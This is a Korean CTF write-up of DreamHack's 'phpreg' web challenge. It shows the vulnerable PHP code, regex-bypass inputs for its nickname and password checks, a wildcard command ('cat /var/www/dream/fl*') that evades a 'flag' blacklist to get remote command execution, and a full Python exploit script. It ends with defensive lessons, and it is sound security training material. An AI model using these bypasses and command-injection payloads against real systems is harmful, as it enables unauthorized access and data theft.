[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด

2026-06-22ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด

PHP์˜ preg_replaceยทpreg_match๋กœ ๋งŒ๋“  ๊ด€๋ฌธ ์„ธ ๊ฐœ๋ฅผ ์ฐจ๋ก€๋กœ ๋šซ๋Š” ๋ฌธ์ œ๋‹ค. ๋‹‰๋„ค์ž„์€ 'nyang'์„ ๊ฒน์น˜๊ฒŒ ๋ผ์›Œ ํ•œ ๋ฒˆ๋งŒ ์ง€์›Œ์ง€๊ฒŒ ๋งŒ๋“ค๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ ์—†์ด ์น˜ํ™˜ ํŒจํ„ด์„ ๋งž์ถ”๊ณ , ๋งˆ์ง€๋ง‰ cmd๋Š” 'flag' ํ•„ํ„ฐ๋ฅผ ์™€์ผ๋“œ์นด๋“œ๋กœ ์šฐํšŒํ•ด RCE๋กœ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” phpreg ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 4 FLAG: DH{ad866c64dabaf30136e22d3de2980d24c4da617b9d706f81d10a1bc97d0ab6f6}

์ด๋ฆ„ ๊ทธ๋Œ€๋กœ PHP ์ •๊ทœ์‹ ๋ฌธ์ œ๋‹ค. Step 1์—์„œ ๋‹‰๋„ค์ž„/๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋ฌธ์„ ์—ด๊ณ , Step 2์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋‘ ๋‹จ๊ณ„ ๊ตฌ์กฐ์ธ๋ฐ, ๋‹จ๊ณ„๋งˆ๋‹ค preg_replaceยทpreg_match๋กœ ๋งŒ๋“  ํ•จ์ •์ด ๊น”๋ ค ์žˆ๋‹ค.

Step 1 โ€” ๋‹‰๋„ค์ž„/๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ ํผ
Step 1 โ€” ๋‹‰๋„ค์ž„/๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ ํผ

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…phpreg
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 4
๋ถ„๋ฅ˜Web (์ •๊ทœ์‹ ์šฐํšŒ โ†’ Command Injection)
์ œ๊ณตindex.php, step2.php + ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ preg_replace ์น˜ํ™˜ ํ›„ ๋น„๊ต + preg_match ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ

๊ด€๋ฌธ์€ ์…‹์ด๋‹ค. โ‘  ๋‹‰๋„ค์ž„์ด preg_replace๋ฅผ ๊ฑฐ์นœ ๋’ค ์ •ํ™•ํžˆ dnyang0310์ด์–ด์•ผ ํ•˜๊ณ , โ‘ก ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ์ด ์—†์–ด์•ผ ํ•˜๋ฉด์„œ preg_replace ์น˜ํ™˜ ํ›„ d4y0r50ng+1+13์ด์–ด์•ผ ํ•˜๊ณ , โ‘ข ํ†ต๊ณผํ•˜๋ฉด system($cmd)๊ฐ€ ์—ด๋ฆฌ์ง€๋งŒ cmd์— flag ๋ฌธ์ž์—ด์€ ๋ง‰ํ˜€ ์žˆ๋‹ค. ์…‹์„ ์ฐจ๋ก€๋กœ ๋šซ๋Š”๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” preg_replace๋Š” "์ง€์šด ๋’ค"๋ฅผ ๋น„๊ตํ•œ๋‹ค

PHP์˜ preg_replace($pattern, $replacement, $subject)๋Š” $subject์—์„œ ํŒจํ„ด์— ๋งž๋Š” ๋ถ€๋ถ„์„ ๋ชจ๋‘ ์ฐพ์•„ $replacement๋กœ ๋ฐ”๊พผ ๊ฒฐ๊ณผ ๋ฌธ์ž์—ด์„ ๋Œ๋ ค์ค€๋‹ค. ์ด ๋ฌธ์ œ์ฒ˜๋Ÿผ "์น˜ํ™˜ํ•œ ๊ฒฐ๊ณผ"๋ฅผ ๊ณ ์ • ๋ฌธ์ž์—ด๊ณผ ===๋กœ ๋น„๊ตํ•˜๋ฉด, ์šฐ๋ฆฌ๋Š” ๊ฑฐ๊พธ๋กœ ์น˜ํ™˜ ํ›„ ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋„๋ก ์ž…๋ ฅ์„ ์„ค๊ณ„ํ•˜๋ฉด ๋œ๋‹ค.

๋‘ ๊ฐ€์ง€ ์„ฑ์งˆ์ด ์—ด์‡ ๋‹ค.

  • ํŒจํ„ด์ด ์‚ญ์ œ($replacement๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด)๋ฉด, ๊ฒฐ๊ณผ์— ๊ทธ ํŒจํ„ด์ด ๋‚จ์•„ ์žˆ์œผ๋ฉด ์•ˆ ๋  ๊ฒƒ ๊ฐ™์ง€๋งŒ โ€” ๋งค์นญ์€ ๋ณดํ†ต ๊ฒน์น˜์ง€ ์•Š๊ฒŒ ์™ผ์ชฝ๋ถ€ํ„ฐ ํ•œ ๋ฒˆ์”ฉ ์ฒ˜๋ฆฌํ•˜๋ฏ€๋กœ, ํŒจํ„ด์„ ๊ฒน์ณ ๋ฐฐ์น˜ํ•˜๋ฉด ์ผ๋ถ€๋งŒ ์ง€์›Œ์ง€๊ณ  ๋‚˜๋จธ์ง€๊ฐ€ ๋‚จ๋Š”๋‹ค.
  • ํŒจํ„ด์ด ์น˜ํ™˜์ด๋ฉด, ๋งค์นญ๋œ ๋ถ€๋ถ„์ด ํ†ต์งธ๋กœ $replacement๋กœ ๋ฐ”๋€๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์ž…๋ ฅ์€ "์น˜ํ™˜๋  ํŒจํ„ด + ๊ทธ๋Œ€๋กœ ๋‚จ๊ธธ ๋‚˜๋จธ์ง€"๋กœ ์ชผ๊ฐœ ๋งŒ๋“ ๋‹ค.

preg_match๋Š” ๊ฒ€์‚ฌ์šฉ์ด๋‹ค. preg_match("/flag/i", $cmd)๋Š” $cmd์— flag(๋Œ€์†Œ๋ฌธ์ž ๋ฌด์‹œ)๊ฐ€ ๋“ค์–ด ์žˆ์œผ๋ฉด 1์„ ๋Œ๋ ค์ค€๋‹ค. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ผ "์˜๋„ํ•œ ๋ช…๋ น์„ flag๋ผ๋Š” ๊ธ€์ž ์—†์ด" ์“ฐ๋ฉด ๋น ์ ธ๋‚˜๊ฐ„๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

step2.php์˜ PHP ๋ธ”๋ก์ด ์ „๋ถ€๋‹ค.

$input_name = $_POST["input1"] ? $_POST["input1"] : "";
$input_pw   = $_POST["input2"] ? $_POST["input2"] : "";
 
// pw filtering
if (preg_match("/[a-zA-Z]/", $input_pw)) {
    echo "alphabet in the pw :(";
} else {
    $name = preg_replace("/nyang/i", "", $input_name);
    $pw   = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw);
 
    if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") {
        // Step 2: cmd ์ž…๋ ฅ ํผ ๋…ธ์ถœ
        $cmd = $_POST["cmd"] ? $_POST["cmd"] : "";
        if ($cmd === "") { /* show form */ }
        else if (preg_match("/flag/i", $cmd)) { echo "<pre>Error!</pre>"; }
        else { echo "<pre>--Output--\n"; system($cmd); echo "</pre>"; }
    } else {
        echo "Wrong nickname or pw";
    }
}

๊ด€๋ฌธ ์…‹์„ ํ•˜๋‚˜์”ฉ ์š”๊ตฌ์‚ฌํ•ญ์œผ๋กœ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

๊ด€๋ฌธ์กฐ๊ฑด์ œ์•ฝ
๋‹‰๋„ค์ž„preg_replace("/nyang/i","",input1) === "dnyang0310"๊ฒฐ๊ณผ์— nyang์ด ๋‚จ์•„์•ผ ํ•จ
๋น„๋ฐ€๋ฒˆํ˜ธpreg_replace(ํŒจํ„ด,"d4y0r50ng",input2) === "d4y0r50ng+1+13"input2์— ์•ŒํŒŒ๋ฒณ ๊ธˆ์ง€
๋ช…๋ นsystem($cmd)cmd์— flag ๊ธˆ์ง€

๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์„ธ ๊ด€๋ฌธ ์šฐํšŒ ์„ค๊ณ„

PHP ์ •๊ทœ์‹ 3๊ฒน์„ ์ฐจ๋ก€๋กœ ๋šซ๊ธฐ
PHP ์ •๊ทœ์‹ 3๊ฒน์„ ์ฐจ๋ก€๋กœ ๋šซ๊ธฐ

โ‘  ๋‹‰๋„ค์ž„ โ€” nyang์„ ๊ฒน์น˜๊ฒŒ ๋ผ์›Œ ํ•œ ๋ฒˆ๋งŒ ์ง€์šด๋‹ค

๋ชฉํ‘œ ๊ฒฐ๊ณผ๋Š” dnyang0310์ธ๋ฐ, ๊ฑฐ๊ธฐ์—” nyang์ด ๋“ค์–ด ์žˆ๋‹ค. preg_replace๊ฐ€ nyang์„ ๋‹ค ์ง€์šฐ๋Š”๋ฐ ์–ด๋–ป๊ฒŒ ๊ฒฐ๊ณผ์— nyang์ด ๋‚จ์„๊นŒ.

๋งค์นญ์ด ๊ฒน์น˜์ง€ ์•Š๊ฒŒ ์ง„ํ–‰ํ•œ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•œ๋‹ค. nyang์„ ๋‘ ๋ฒˆ ๊ฒน์ณ ๋†“์œผ๋ฉด, ์—”์ง„์ด ๊ฐ€์šด๋ฐ ํ•œ ๋ฒˆ๋งŒ ์žก์•„ ์ง€์šฐ๊ณ  ์–‘์˜†์ด ๋ถ™์–ด ์ƒˆ nyang์ด ๋งŒ๋“ค์–ด์ง„๋‹ค.

input1 = d ny[nyang]ang 0310   โ†’  "dnynyangang0310"
                โ†‘ ์ด ๋ถ€๋ถ„๋งŒ ์‚ญ์ œ
๊ฒฐ๊ณผ   = d  ny + ang  0310      โ†’  "dnyang0310"

์ฆ‰ dnynyangang0310์„ ๋„ฃ์œผ๋ฉด ๊ฐ€์šด๋ฐ nyang๋งŒ ์ง€์›Œ์ง€๊ณ  dny + ang0310์ด ์ด์–ด์ ธ dnyang0310์ด ๋œ๋‹ค.

โ‘ก ๋น„๋ฐ€๋ฒˆํ˜ธ โ€” ์•ŒํŒŒ๋ฒณ ์—†์ด ์น˜ํ™˜ ํŒจํ„ด ๋งž์ถ”๊ธฐ

๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ์ด ์žˆ์œผ๋ฉด ๋ฐ”๋กœ ๊ฑธ๋ฆฐ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ชฉํ‘œ d4y0r50ng+1+13์—๋Š” ์•ŒํŒŒ๋ฒณ์ด ์ž”๋œฉ์ด๋‹ค. ๋น„๋ฐ€์€ ๊ทธ d4y0r50ng ๋ถ€๋ถ„์ด ๋‚ด ์ž…๋ ฅ์ด ์•„๋‹ˆ๋ผ ์น˜ํ™˜ ๊ฒฐ๊ณผ๋ผ๋Š” ๊ฒƒ์ด๋‹ค. ์น˜ํ™˜ ํŒจํ„ด์„ ์•ŒํŒŒ๋ฒณ ์—†์ด ๋งŒ์กฑ์‹œํ‚ค๋ฉด PHP๊ฐ€ ์•Œ์•„์„œ d4y0r50ng์„ ๋ฐ•์•„์ค€๋‹ค.

ํŒจํ„ด \d*\@\d{2,3}(31)+[^0-8\"]\!์„ ์•ŒํŒŒ๋ฒณ ์—†์ด ์ฑ„์šด๋‹ค.

์กฐ๊ฐ์˜๋ฏธ์ฑ„์šด ๊ฐ’
\d*์ˆซ์ž 0๊ฐœ ์ด์ƒ(์—†์Œ)
\@๋ฆฌํ„ฐ๋Ÿด @@
\d{2,3}์ˆซ์ž 2~3๊ฐœ12
(31)+31 ๋ฐ˜๋ณต31
[^0-8\"]0~8๊ณผ ํฐ๋”ฐ์˜ดํ‘œ๊ฐ€ ์•„๋‹Œ ํ•œ ๊ธ€์ž9
\!๋ฆฌํ„ฐ๋Ÿด !!

์ด์–ด ๋ถ™์ด๋ฉด @12319!์ด๊ณ , ์—ฌ๊ธฐ์— ๊ทธ๋Œ€๋กœ ๋‚จ๊ธธ +1+13์„ ๋ถ™์ธ๋‹ค.

input2 = "@12319!+1+13"   (์•ŒํŒŒ๋ฒณ 0๊ฐœ โ†’ pw ํ•„ํ„ฐ ํ†ต๊ณผ)
         ์น˜ํ™˜๋ถ€ @12319! โ†’ d4y0r50ng
๊ฒฐ๊ณผ   = "d4y0r50ng+1+13"  โ†’ ์ธ์ฆ ํ†ต๊ณผ
Step 1 ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ โ€” ์ •๊ทœ์‹ ์šฐํšŒ ๋‹‰/๋น„๋ฒˆ
Step 1 ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ โ€” ์ •๊ทœ์‹ ์šฐํšŒ ๋‹‰/๋น„๋ฒˆ

์ œ์ถœํ•˜๋ฉด ๋ฌธ์ด ์—ด๋ฆฌ๊ณ  Step 2์˜ ๋ช…๋ น ์ž…๋ ฅ ํผ์ด ๋‚˜์˜จ๋‹ค.

Step 2 ์ง„์ž… โ€” ์ธ์ฆ ํ†ต๊ณผ ํ›„ cmd ํผ
Step 2 ์ง„์ž… โ€” ์ธ์ฆ ํ†ต๊ณผ ํ›„ cmd ํผ

โ‘ข ๋ช…๋ น โ€” flag ํ•„ํ„ฐ๋ฅผ ์™€์ผ๋“œ์นด๋“œ๋กœ ์šฐํšŒ

system($cmd)๋Š” ์—ด๋ ธ์ง€๋งŒ cmd์— flag๊ฐ€ ์žˆ์œผ๋ฉด ๋ง‰ํžŒ๋‹ค. flag ํŒŒ์ผ์„ ์ง์ ‘ cat flag.txt๋กœ ์ฝ์„ ์ˆ˜ ์—†๋‹ค. ์…ธ ์™€์ผ๋“œ์นด๋“œ *๋กœ ํŒŒ์ผ๋ช…์„ ๋Œ€์‹  ๋งค์นญํ•˜๋ฉด flag๋ผ๋Š” ๊ธ€์ž๋ฅผ ์“ฐ์ง€ ์•Š๊ณ ๋„ ๊ทธ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ๋‹ค โ€” fl*์€ flag.txt์— ๋งค์นญ๋˜์ง€๋งŒ ๋ฌธ์ž์—ด flag๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๋Š”๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

๋จผ์ € ๋ช…๋ น์ด ์‹ค์ œ๋กœ ์‹คํ–‰๋˜๋Š”์ง€ id๋กœ ํ™•์ธํ•œ๋‹ค.

RCE ํ™•์ธ โ€” id ์‹คํ–‰ ๊ฒฐ๊ณผ
RCE ํ™•์ธ โ€” id ์‹คํ–‰ ๊ฒฐ๊ณผ

flag ์œ„์น˜๋ฅผ ์ฐพ๋Š”๋‹ค. ls๋‚˜ find์˜ ์ถœ๋ ฅ์— flag๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฑด ์ƒ๊ด€์—†๋‹ค โ€” ํ•„ํ„ฐ๋Š” ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ cmd ๋ฌธ์ž์—ด๋งŒ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋‹ค๋งŒ ๋ช…๋ น ์ž์ฒด์—๋Š” flag๋ฅผ ์“ฐ๋ฉด ์•ˆ ๋˜๋‹ˆ ๋””๋ ‰ํ† ๋ฆฌ๋งŒ ๋‚˜์—ดํ•œ๋‹ค.

flag ์œ„์น˜ ํƒ์ƒ‰ โ€” /var/www/dream
flag ์œ„์น˜ ํƒ์ƒ‰ โ€” /var/www/dream

flag๋Š” ์›น ๋ฃจํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ /var/www/dream/flag.txt์— ์žˆ์—ˆ๋‹ค. fl* ์™€์ผ๋“œ์นด๋“œ๋กœ ์ฝ๋Š”๋‹ค.

cmd = cat /var/www/dream/fl*
flag ํš๋“ โ€” ์™€์ผ๋“œ์นด๋“œ๋กœ ์ฝ๊ธฐ
flag ํš๋“ โ€” ์™€์ผ๋“œ์นด๋“œ๋กœ ์ฝ๊ธฐ

๐Ÿš€ Full Exploit

์„ธ ๊ด€๋ฌธ ์šฐํšŒ๋ฅผ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์—ˆ๋‹ค. ์ธ์ฆ์šฉ input1/input2๋Š” ๊ณ ์ •์ด๊ณ , cmd๋งŒ ๋ฐ”๊ฟ” ๊ฐ€๋ฉฐ RCE๋ฅผ ํ•œ๋‹ค. ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์—†์ด ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ ์“ด๋‹ค.

#!/usr/bin/env python3
# phpreg โ€” PHP preg_replace/preg_match ์šฐํšŒ 2๋‹จ๊ณ„ โ†’ RCE ๋กœ flag.txt ์ฝ๊ธฐ.
import sys, re, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:8586"
 
# Step1 ์šฐํšŒ ํŽ˜์ด๋กœ๋“œ
INPUT1 = "dnynyangang0310"   # preg_replace(/nyang/i,'') โ†’ dnyang0310 (๊ฒน์นจ์œผ๋กœ 1ํšŒ๋งŒ ์‚ญ์ œ)
INPUT2 = "@12319!+1+13"      # ์•ŒํŒŒ๋ฒณ 0๊ฐœ + ์น˜ํ™˜๋ถ€ @12319! โ†’ d4y0r50ng, ๊ฒฐ๊ณผ d4y0r50ng+1+13
 
def post(cmd=None):
    data = {"input1": INPUT1, "input2": INPUT2}
    if cmd is not None:
        data["cmd"] = cmd
    body = urllib.parse.urlencode(data).encode()
    return urllib.request.urlopen(BASE + "/step2.php", data=body, timeout=20).read().decode()
 
def out(cmd):
    m = re.search(r'--Output--\n(.*?)</pre>', post(cmd), re.S)
    return m.group(1).strip() if m else "(no output)"
 
print("[1] auth :", "OK (Step 2)" if "Almost done" in post() else "FAIL")
print("[2] find :", out('ls /var/www/dream/'))
print("[3] flag :", out('cat /var/www/dream/fl*'))   # 'flag' ํ•„ํ„ฐ๋ฅผ fl* ๋กœ ์šฐํšŒ

๋Œ๋ฆฌ๋ฉด ์ธ์ฆ๋ถ€ํ„ฐ flag๊นŒ์ง€ ํ•œ ๋ฒˆ์— ๋‚˜์˜จ๋‹ค.

solve.py ์‹คํ–‰ โ€” ์ธ์ฆ๋ถ€ํ„ฐ flag๊นŒ์ง€
solve.py ์‹คํ–‰ โ€” ์ธ์ฆ๋ถ€ํ„ฐ flag๊นŒ์ง€


๐Ÿ“ ๊ฒฐ๋ก 

์ •๊ทœ์‹์œผ๋กœ ๋งŒ๋“  ๊ด€๋ฌธ์€ "์ •๊ทœ์‹์˜ ๋™์ž‘ ๋ฐฉ์‹"๊นŒ์ง€ ๊ฐ™์ด ๊ฒ€ํ† ํ•ด์•ผ ํ•œ๋‹ค.

preg_replace๋กœ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ง€์šฐ๊ฑฐ๋‚˜ ๋ฐ”๊พธ๊ณ  ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ธ์ฆ์— ์“ฐ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์น˜ํ™˜ ๋™์ž‘์„ ๊ฑฐ๊พธ๋กœ ํ’€์–ด ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋งŒ๋“ค์–ด๋‚ธ๋‹ค. ์ด ๋ฌธ์ œ์˜ ๋‹‰๋„ค์ž„์€ ๋งค์นญ์ด ๊ฒน์น˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์„ฑ์งˆ์„, ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์น˜ํ™˜ ๊ฒฐ๊ณผ๊ฐ€ ์ž…๋ ฅ๊ณผ ๋‹ค๋ฅด๋‹ค๋Š” ์„ฑ์งˆ์„ ๊ทธ๋Œ€๋กœ ์ด์šฉ๋‹นํ–ˆ๋‹ค.

preg_match ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋„ ์•ฝํ•˜๋‹ค. flag ํ•œ ๋‹จ์–ด๋ฅผ ๋ง‰์•„๋„ ์…ธ ์™€์ผ๋“œ์นด๋“œ fl* ํ•œ ๋ฒˆ์ด๋ฉด ๋์ด๋‹ค. ์ž…๋ ฅ์—์„œ ์œ„ํ—˜ํ•œ ๋‹จ์–ด๋ฅผ ์ง€์šฐ๋Š” ๋ฐฉ์‹์€ ๊ฑฐ์˜ ํ•ญ์ƒ ์šฐํšŒ๋กœ๊ฐ€ ์žˆ๋‹ค.

๋ฐฉ์–ด๋Š” "์ฐจ๋‹จ"์ด ์•„๋‹ˆ๋ผ "ํ—ˆ์šฉ"์œผ๋กœ ๋’ค์ง‘๋Š” ๊ฒŒ ๋งž๋‹ค. ์ธ์ฆ๊ฐ’์€ ์ •๊ทœ์‹ ๊ฐ€๊ณต ๊ฒฐ๊ณผ๋กœ ๋น„๊ตํ•˜์ง€ ๋ง๊ณ  ์ž…๋ ฅ ์ž์ฒด๋ฅผ ์ •ํ™•ํžˆ ๊ฒ€์ฆํ•˜๊ณ , ๋ช…๋ น ์‹คํ–‰์ด ๊ผญ ํ•„์š”ํ•˜๋ฉด system์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋„˜๊ธฐ์ง€ ์•Š๊ฑฐ๋‚˜ ์ธ์ž๋ฅผ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋กœ ๊ฐ•์ œํ•œ๋‹ค. ์ฐจ๋‹จํ•  ๋‹จ์–ด๋ฅผ ์„ธ๋Š” ์ˆœ๊ฐ„ ์ด๋ฏธ ์ง„ ์‹ธ์›€์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 3] ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ ์—ด๋ฆฌ๋Š” flag.php โ€” DreamHack simple-phparse ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ ์—ด๋ฆฌ๋Š” flag.php โ€” DreamHack simple-phparse ํ’€์ด

flag.php ๋Š” parse_url() ๋กœ ๋ฝ‘์€ ๊ฒฝ๋กœ๋ฅผ preg_match("/flag.php/i", $path) ๋กœ ๊ฒ€์‚ฌํ•ด ์ง์ ‘ ์ ‘๊ทผ์„ ๋ง‰๋Š”๋‹ค. ์š”์ฒญ ๊ฒฝ๋กœ ์•ž์— ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ๋” ๋ถ™์ด๋ฉด parse_url ์ด flag.php ๋ฅผ ํ˜ธ์ŠคํŠธ๋กœ ํ•ด์„ํ•˜๊ณ  path ๋Š” ๋นˆ ๋ฌธ์ž์—ด์ด ๋œ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์ด ์‚ฌ๋ผ์ง€๋ฏ€๋กœ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•ด flag ๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค.
#dreamhack#ctf#web+4
2026-07-12#dreamhack +5
[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด

escapeshellcmd๋Š” ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ๋ง‰์ง€๋งŒ ๊ณต๋ฐฑ๊ณผ ํ•˜์ดํ”ˆ์€ ๊ทธ๋Œ€๋กœ ๋‘”๋‹ค. curl ๋ช…๋ น์— -o ์ธ์ž๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด PHP ์›น์…ธ์„ ์›น๋ฃจํŠธ cache/์— ๋–จ๊ตฐ ๋’ค, ๊ทธ ์›น์…ธ๋กœ ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ /flag๋ฅผ ๋Œ๋ ค ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์€ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +5
[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ includeํ•˜๋Š” PHP ์•ฑ์ธ๋ฐ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยทhpยท../์˜ base64 ์กฐ๊ฐ์ด ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค. flag.php์˜ ์ •์งํ•œ base64๋Š” ๊ทธ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ํ’ˆ๋Š”๋‹ค. ์•ž์— ./๋ฅผ ๋ถ™์—ฌ 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๋ฉด ์กฐ๊ฐ์ด ์ชผ๊ฐœ์ ธ ํ•„ํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ํ—›๋ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-12#dreamhack +5